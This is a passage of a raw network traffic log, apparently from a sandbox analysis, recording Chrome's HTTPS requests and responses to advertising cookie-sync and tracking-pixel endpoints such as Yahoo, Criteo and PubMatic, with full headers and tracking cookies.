2024-01-10 23:27:25 UTC	893	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z:18p2~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:25 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://hb.yahoo.net/cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&gdpr=0&ovsid=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8&dpid=57926 Age: 0 Connection: close Server: ATS/9.1.10.94 Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:25 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.4	50344	3.91.137.4	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	743	OUT	GET /sync/v1?source_id=UiRtTsXAfjmfSDAKnR1FjWsu&source_user_id=LR8EUG12-1F-5JG4&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: match.sharethrough.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: stx_user_id=316bb570-8374-4683-a0e9-a8b41619214a
2024-01-10 23:27:25 UTC	320	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: image/png Content-Length: 68 Connection: close Set-Cookie: stx_user_id=316bb570-8374-4683-a0e9-a8b41619214a; Max-Age=2592000; Expires=Fri, 09 Feb 2024 23:27:25 GMT; Path=/; Domain=.sharethrough.com; Secure; SameSite=None Cache-Control: no-cache
2024-01-10 23:27:25 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0b 49 44 41 54 78 da 63 f8 ff 1f 00 03 00 01 ff 6f 81 ab b6 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDATxcoIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.4	50339	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	1417	OUT	GET /cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ovsid=316bb570-8374-4683-a0e9-a8b41619214a&dpid=58280 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1
2024-01-10 23:27:25 UTC	680	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63;Expires=Mon, 08 Jul 2024 23:27:25 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:25 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:25 GMT Connection: close
2024-01-10 23:27:25 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:25 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.4	50345	3.225.218.10	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	1207	OUT	GET /ups/58824/sync?_origin=0&dpid=58160&ovsid=LR8EUG12-1F-5JG4&gdpr=0&redir=true&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z:18vk~2g3z"
2024-01-10 23:27:25 UTC	882	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z:18vk~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:25 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://hb.yahoo.net/cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&gdpr=0&ovsid=LR8EUG12-1F-5JG4&us_privacy=1YNN&dpid=58160 Age: 0 Connection: close Server: ATS/9.1.10.94 Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:25 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.4	50350	74.119.119.150	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	924	OUT	GET /dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@ HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=94a96463-4da4-468a-ab35-7f2fcadb375f
2024-01-10 23:27:25 UTC	532	IN	HTTP/1.1 302 Found content-length: 0 date: Wed, 10 Jan 2024 23:27:24 GMT server: Kestrel cache-control: no-cache expires: Wed, 10 Jan 2024 00:00:00 GMT location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent= pragma: no-cache x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 1027148 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.4	50349	54.174.90.242	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	1418	OUT	GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-88cea7cc-414b-5931-4490-9389000b3410.YX8fBqWbbKIl9htyS%2BuNQoiPjQDzg%2BxgiaqyMjX0kfw; sa-user-id=s%3A0-88cea7cc-414b-5931-4490-9389000b3410.YX8fBqWbbKIl9htyS%2BuNQoiPjQDzg%2BxgiaqyMjX0kfw; sa-user-id-v2=s%3AiM6nzEFLWTFEkJOJAAs0EGalMCo.OWSeOwcZ0xOe3VtaYbow6MRlFZ6Ze%2BHwMl9A3b37RbE; sa-user-id-v2=s%3AiM6nzEFLWTFEkJOJAAs0EGalMCo.OWSeOwcZ0xOe3VtaYbow6MRlFZ6Ze%2BHwMl9A3b37RbE; sa-user-id-v3=s%3AAQAKIGnrengvFsmRP0yBGLf-VZ-GhBAQvioZQ5D7yTVlaVz8EHwYBCDZz_ysBjABOgT87-jmQgT3zKKw.VoS4EyYPwPHvI%2B7j09TsjbqLoc23LlMtt%2Bw2wvffG%2B4; sa-user-id-v3=s%3AAQAKIGnrengvFsmRP0yBGLf-VZ-GhBAQvioZQ5D7yTVlaVz8EHwYBCDZz_ysBjABOgT87-jmQgT3zKKw.VoS4EyYPwPHvI%2B7j09TsjbqLoc23LlMtt%2Bw2wvffG%2B4
2024-01-10 23:27:25 UTC	304	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Wed, 10 Jan 2024 23:27:25 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent= Content-Length: 188 Connection: Close
2024-01-10 23:27:25 UTC	188	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 7a 45 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 69 4d 36 6e 7a 45 46 4c 57 54 46 45 6b 4a 4f 4a 41 41 73 30 45 47 61 6c 4d 43 6f 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.4	50343	35.211.178.172	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	693	OUT	GET /sync?dsp_id=437&ssp=criteo&user_id= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239
2024-01-10 23:27:25 UTC	509	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //ssp-sync.criteo.com/user-sync/match?p=&u=f6435827-796b-4521-81e9-11e581628f69 Set-Cookie: custom_data=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.4	50352	147.28.146.89	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	639	OUT	GET /setuid/magnite?uid=LR8EUG12-1F-5JG4&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: prebid.a-mo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:25 UTC	702	IN	HTTP/1.1 204 No Content cache-control: max-age=0, private, must-revalidate date: Wed, 10 Jan 2024 23:27:25 GMT server: envoy set-cookie: _sv3_7=1; path=/; domain=prebid.a-mo.net; expires=Thu, 11 Jan 2024 23:27:25 GMT; max-age=86400; secure; HttpOnly; SameSite=None set-cookie: amuid2=34a48bae-9aa8-419b-b6d9-e07a6c338b72; path=/; domain=a-mo.net; expires=Thu, 09 Jan 2025 23:27:25 GMT; max-age=31536000; secure; HttpOnly; SameSite=None set-cookie: sd_amuid2=34a48bae-9aa8-419b-b6d9-e07a6c338b72; path=/; domain=prebid.a-mo.net; expires=Thu, 09 Jan 2025 23:27:25 GMT; max-age=31536000; secure; HttpOnly; SameSite=None x-envoy-upstream-service-time: 2 vary: Accept-Encoding connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.4	50354	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	3166	OUT	GET /AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI- HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; PugT=1704929244; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920
2024-01-10 23:27:25 UTC	760	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:25 GMT; path=/ Set-Cookie: PugT=1704929245; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:25 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.4	50355	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	2820	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
